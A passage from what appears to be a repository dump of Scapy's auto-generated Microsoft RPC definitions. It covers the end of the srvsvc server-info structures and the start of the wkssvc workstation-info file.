= (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1538_enablefcbopens\", 0)]\n\n\nclass LPSERVER_INFO_1539(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1539_enableraw\", 0)]\n\n\nclass LPSERVER_INFO_1540(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1540_enablesharednetdrives\", 0)]\n\n\nclass LPSERVER_INFO_1541(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1541_minfreeconnections\", 0)]\n\n\nclass LPSERVER_INFO_1542(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1542_maxfreeconnections\", 0)]\n\n\nclass LPSERVER_INFO_1543(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1543_initsesstable\", 0)]\n\n\nclass LPSERVER_INFO_1544(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1544_initconntable\", 0)]\n\n\nclass LPSERVER_INFO_1545(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1545_initfiletable\", 0)]\n\n\nclass LPSERVER_INFO_1546(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1546_initsearchtable\", 0)]\n\n\nclass LPSERVER_INFO_1547(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1547_alertschedule\", 0)]\n\n\nclass LPSERVER_INFO_1548(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1548_errorthreshold\", 0)]\n\n\nclass LPSERVER_INFO_1549(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1549_networkerrorthreshold\", 0)]\n\n\nclass LPSERVER_INFO_1550(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1550_diskspacethreshold\", 0)]\n\n\nclass LPSERVER_INFO_1552(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1552_maxlinkdelay\", 0)]\n\n\nclass LPSERVER_INFO_1553(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1553_minlinkthroughput\", 0)]\n\n\nclass LPSERVER_INFO_1554(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1554_linkinfovalidtime\", 0)]\n\n\nclass LPSERVER_INFO_1555(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1555_scavqosinfoupdatetime\", 0)]\n\n\nclass LPSERVER_INFO_1556(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1556_maxworkitemidletime\", 0)]\n\n\nclass NetrServerGetInfo_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRIntField(\"Level\", 0),\n    ]\n\n\nclass NetrServerGetInfo_Response(NDRPacket):\n    fields_desc = [\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_100(), LPSERVER_INFO_100\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 100),\n                        (lambda _, val: val.tag == 100),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_101(), LPSERVER_INFO_101\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 101),\n                        (lambda _, val: val.tag == 101),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_102(), LPSERVER_INFO_102\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 102),\n                        (lambda _, val: val.tag == 102),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_103(), LPSERVER_INFO_103\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 103),\n                        (lambda _, val: val.tag == 103),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_502(), LPSERVER_INFO_502\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 502),\n                        (lambda _, val: val.tag == 502),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_503(), LPSERVER_INFO_503\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 503),\n                        (lambda _, val: val.tag == 503),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_599(), LPSERVER_INFO_599\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 599),\n                        (lambda _, val: val.tag == 599),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1005(), LPSERVER_INFO_1005\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1005),\n                        (lambda _, val: val.tag == 1005),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1107(), LPSERVER_INFO_1107\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1107),\n                        (lambda _, val: val.tag == 1107),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1010(), LPSERVER_INFO_1010\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1010),\n                        (lambda _, val: val.tag == 1010),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1016(), LPSERVER_INFO_1016\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1016),\n                        (lambda _, val: val.tag == 1016),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1017(), LPSERVER_INFO_1017\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1017),\n                        (lambda _, val: val.tag == 1017),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1018(), LPSERVER_INFO_1018\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1018),\n                        (lambda _, val: val.tag == 1018),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1501(), LPSERVER_INFO_1501\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1501),\n                        (lambda _, val: val.tag == 1501),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1502(), LPSERVER_INFO_1502\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1502),\n                        (lambda _, val: val.tag == 1502),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1503(), LPSERVER_INFO_1503\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1503),\n                        (lambda _, val: val.tag == 1503),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1506(), LPSERVER_INFO_1506\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1506),\n                        (lambda _, val: val.tag == 1506),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1510(), LPSERVER_INFO_1510\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1510),\n                        (lambda _, val: val.tag == 1510),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1511(), LPSERVER_INFO_1511\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1511),\n                        (lambda _, val: val.tag == 1511),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1512(), LPSERVER_INFO_1512\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1512),\n                        (lambda _, val: val.tag == 1512),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1513(), LPSERVER_INFO_1513\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1513),\n                        (lambda _, val: val.tag == 1513),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1514(), LPSERVER_INFO_1514\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1514),\n                        (lambda _, val: val.tag == 1514),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1515(), LPSERVER_INFO_1515\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1515),\n                        (lambda _, val: val.tag == 1515),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1516(), LPSERVER_INFO_1516\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1516),\n                        (lambda _, val: val.tag == 1516),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1518(), LPSERVER_INFO_1518\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1518),\n                        (lambda _, val: val.tag == 1518),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1523(), LPSERVER_INFO_1523\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1523),\n                        (lambda _, val: val.tag == 1523),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1528(), LPSERVER_INFO_1528\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1528),\n                        (lambda _, val: val.tag == 1528),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1529(), LPSERVER_INFO_1529\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1529),\n                        (lambda _, val: val.tag == 1529),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1530(), LPSERVER_INFO_1530\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1530),\n                        (lambda _, val: val.tag == 1530),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1533(), LPSERVER_INFO_1533\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1533),\n                        (lambda _, val: val.tag == 1533),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1534(), LPSERVER_INFO_1534\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1534),\n                        (lambda _, val: val.tag == 1534),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1535(), LPSERVER_INFO_1535\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1535),\n                        (lambda _, val: val.tag == 1535),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1536(), LPSERVER_INFO_1536\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1536),\n                        (lambda _, val: val.tag == 1536),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1538(), LPSERVER_INFO_1538\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1538),\n                        (lambda _, val: val.tag == 1538),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1539(), LPSERVER_INFO_1539\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1539),\n                        (lambda _, val: val.tag == 1539),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1540(), LPSERVER_INFO_1540\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1540),\n                        (lambda _, val: val.tag == 1540),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1541(), LPSERVER_INFO_1541\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1541),\n                        (lambda _, val: val.tag == 1541),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1542(), LPSERVER_INFO_1542\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1542),\n                        (lambda _, val: val.tag == 1542),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1543(), LPSERVER_INFO_1543\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1543),\n                        (lambda _, val: val.tag == 1543),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1544(), LPSERVER_INFO_1544\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1544),\n                        (lambda _, val: val.tag == 1544),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1545(), LPSERVER_INFO_1545\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1545),\n                        (lambda _, val: val.tag == 1545),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1546(), LPSERVER_INFO_1546\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1546),\n                        (lambda _, val: val.tag == 1546),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1547(), LPSERVER_INFO_1547\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1547),\n                        (lambda _, val: val.tag == 1547),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1548(), LPSERVER_INFO_1548\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1548),\n                        (lambda _, val: val.tag == 1548),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1549(), LPSERVER_INFO_1549\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1549),\n                        (lambda _, val: val.tag == 1549),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1550(), LPSERVER_INFO_1550\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1550),\n                        (lambda _, val: val.tag == 1550),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1552(), LPSERVER_INFO_1552\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1552),\n                        (lambda _, val: val.tag == 1552),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1553(), LPSERVER_INFO_1553\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1553),\n                        (lambda _, val: val.tag == 1553),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1554(), LPSERVER_INFO_1554\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1554),\n                        (lambda _, val: val.tag == 1554),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1555(), LPSERVER_INFO_1555\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1555),\n                        (lambda _, val: val.tag == 1555),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSERVER_INFO_1556(), LPSERVER_INFO_1556\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1556),\n                        (lambda _, val: val.tag == 1556),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"InfoStruct\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nSRVSVC_OPNUMS = {  # 0: Opnum0NotUsedOnWire,\n    # 1: Opnum1NotUsedOnWire,\n    # 2: Opnum2NotUsedOnWire,\n    # 3: Opnum3NotUsedOnWire,\n    # 4: Opnum4NotUsedOnWire,\n    # 5: Opnum5NotUsedOnWire,\n    # 6: Opnum6NotUsedOnWire,\n    # 7: Opnum7NotUsedOnWire,\n    15: DceRpcOp(NetrShareEnum_Request, NetrShareEnum_Response),\n    16: DceRpcOp(NetrShareGetInfo_Request, NetrShareGetInfo_Response),\n    21: DceRpcOp(NetrServerGetInfo_Request, NetrServerGetInfo_Response),\n    # 29: Opnum29NotUsedOnWire,\n    # 42: Opnum42NotUsedOnWire,\n    # 47: Opnum47NotUsedOnWire\n}\nregister_dcerpc_interface(\n    name=\"srvsvc\",\n    uuid=uuid.UUID(\"4B324FC8-1670-01D3-1278-5A47BF6EE188\"),\n    version=\"3.0\",\n    opnums=SRVSVC_OPNUMS,\n)\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/ms_wkst.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy RPC\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# ms-wkst.idl compiled on 06/07/2025\n# This file is a stripped version ! Use scapy-rpc for the full.\n\"\"\"\nRPC definitions for the following interfaces:\n- wkssvc (v1.0): 6BFFD098-A112-3610-9833-46C3F87E345A\nThis file is auto-generated by midl-to-scapy, do not modify.\n\"\"\"\n\nfrom enum import IntEnum\nimport uuid\n\nfrom scapy.fields import StrFixedLenField\nfrom scapy.layers.dcerpc import (\n    NDRPacket,\n    DceRpcOp,\n    NDRConfPacketListField,\n    NDRConfVarStrLenField,\n    NDRConfVarStrLenFieldUtf16,\n    NDRConfVarStrNullField,\n    NDRConfVarStrNullFieldUtf16,\n    NDRFullEmbPointerField,\n    NDRFullPointerField,\n    NDRInt3264EnumField,\n    NDRIntField,\n    NDRPacketField,\n    NDRShortField,\n    NDRSignedIntField,\n    NDRUnionField,\n    register_dcerpc_interface,\n)\n\n\nclass LPWKSTA_INFO_100(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"wki100_platform_id\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"wki100_computername\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"wki100_langroup\", \"\")),\n        NDRIntField(\"wki100_ver_major\", 0),\n        NDRIntField(\"wki100_ver_minor\", 0),\n    ]\n\n\nclass LPWKSTA_INFO_101(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"wki101_platform_id\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"wki101_computername\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"wki101_langroup\", \"\")),\n        NDRIntField(\"wki101_ver_major\", 0),\n        NDRIntField(\"wki101_ver_minor\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"wki101_lanroot\", \"\")),\n    ]\n\n\nclass LPWKSTA_INFO_102(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"wki102_platform_id\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"wki102_computername\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"wki102_langroup\", \"\")),\n        NDRIntField(\"wki102_ver_major\", 0),\n        NDRIntField(\"wki102_ver_minor\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"wki102_lanroot\", \"\")),\n        NDRIntField(\"wki102_logged_on_users\", 0),\n    ]\n\n\nclass LPWKSTA_INFO_502(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"wki502_char_wait\", 0),\n        NDRIntField(\"wki502_collection_time\", 0),\n        NDRIntField(\"wki502_maximum_collection_count\", 0),\n        NDRIntField(\"wki502_keep_conn\", 0),\n        NDRIntField(\"wki502_max_cmds\", 0),\n        NDRIntField(\"wki502_sess_timeout\", 0),\n        NDRIntField(\"wki502_siz_char_buf\", 0),\n        NDRIntField(\"wki502_max_threads\", 0),\n        NDRIntField(\"wki502_lock_quota\", 0),\n        NDRIntField(\"wki502_lock_increment\", 0),\n        NDRIntField(\"wki502_lock_maximum\", 0),\n        NDRIntField(\"wki502_pipe_increment\", 0),\n        NDRIntField(\"wki502_pipe_maximum\", 0),\n        NDRIntField(\"wki502_cache_file_timeout\", 0),\n        NDRIntField(\"wki502_dormant_file_limit\", 0),\n        NDRIntField(\"wki502_read_ahead_throughput\", 0),\n        NDRIntField(\"wki502_num_mailslot_buffers\", 0),\n        NDRIntField(\"wki502_num_srv_announce_buffers\", 0),\n        NDRIntField(\"wki502_max_illegal_datagram_events\", 0),\n        NDRIntField(\"wki502_illegal_datagram_event_reset_frequency\", 0),\n        NDRSignedIntField(\"wki502_log_election_packets\", 0),\n        NDRSignedIntField(\"wki502_use_opportunistic_locking\", 0),\n        NDRSignedIntField(\"wki502_use_unlock_behind\", 0),\n        NDRSignedIntField(\"wki502_use_close_behind\", 0),\n        NDRSignedIntField(\"wki502_buf_named_pipes\", 0),\n        NDRSignedIntField(\"wki502_use_lock_read_unlock\", 0),\n        NDRSignedIntField(\"wki502_utilize_nt_caching\", 0),\n        NDRSignedIntField(\"wki502_use_raw_read\", 0),\n        NDRSignedIntField(\"wki502_use_raw_write\", 0),\n        NDRSignedIntField(\"wki502_use_write_raw_data\", 0),\n        NDRSignedIntField(\"wki502_use_encryption\", 0),\n        NDRSignedIntField(\"wki502_buf_files_deny_write\", 0),\n        NDRSignedIntField(\"wki502_buf_read_only_files\", 0),\n        NDRSignedIntField(\"wki502_force_core_create_mode\", 0),\n        NDRSignedIntField(\"wki502_use_512_byte_max_transfer\", 0),\n    ]\n\n\nclass LPWKSTA_INFO_1013(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"wki1013_keep_conn\", 0)]\n\n\nclass LPWKSTA_INFO_1018(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"wki1018_sess_timeout\", 0)]\n\n\nclass LPWKSTA_INFO_1046(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"wki1046_dormant_file_limit\", 0)]\n\n\nclass NetrWkstaGetInfo_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRIntField(\"Level\", 0),\n    ]\n\n\nclass NetrWkstaGetInfo_Response(NDRPacket):\n    fields_desc = [\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"WkstaInfo\", LPWKSTA_INFO_100(), LPWKSTA_INFO_100\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 100),\n                        (lambda _, val: val.tag == 100),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"WkstaInfo\", LPWKSTA_INFO_101(), LPWKSTA_INFO_101\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 101),\n                        (lambda _, val: val.tag == 101),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"WkstaInfo\", LPWKSTA_INFO_102(), LPWKSTA_INFO_102\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 102),\n                        (lambda _, val: val.tag == 102),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"WkstaInfo\", LPWKSTA_INFO_502(), LPWKSTA_INFO_502\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 502),\n                        (lambda _, val: val.tag == 502),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"WkstaInfo\", LPWKSTA_INFO_1013(), LPWKSTA_INFO_1013\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1013),\n                        (lambda _, val: val.tag == 1013),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"WkstaInfo\", LPWKSTA_INFO_1018(), LPWKSTA_INFO_1018\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1018),\n                        (lambda _, val: val.tag == 1018),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"WkstaInfo\", LPWKSTA_INFO_1046(), LPWKSTA_INFO_1046\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1046),\n                        (lambda _, val: val.tag == 1046),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"WkstaInfo\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NET_COMPUTER_NAME_TYPE(IntEnum):\n    NetPrimaryComputerName = 0\n    NetAlternateComputerNames = 1\n    NetAllComputerNames = 2\n    NetComputerNameTypeMax = 3\n\n\nclass PUNICODE_STRING(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRShortField(\"Length\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)),\n        NDRShortField(\n            \"MaximumLength\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenFieldUtf16(\n                \"Buffer\",\n                \"\",\n                size_is=lambda pkt: (pkt.MaximumLength // 2),\n                length_is=lambda pkt: (pkt.Length // 2),\n            )\n        ),\n    ]\n\n\nclass PNET_COMPUTER_NAME_ARRAY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntryCount\", None, size_of=\"ComputerNames\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ComputerNames\",\n                [PUNICODE_STRING()],\n                PUNICODE_STRING,\n                size_is=lambda pkt: pkt.EntryCount,\n            )\n        ),\n    ]\n\n\nclass NetrEnumerateComputerNames_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRInt3264EnumField(\"NameType\", 0, NET_COMPUTER_NAME_TYPE),\n        NDRIntField(\"Reserved\", 0),\n    ]\n\n\nclass NetrEnumerateComputerNames_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ComputerNames\", PNET_COMPUTER_NAME_ARRAY(), PNET_COMPUTER_NAME_ARRAY\n            )\n        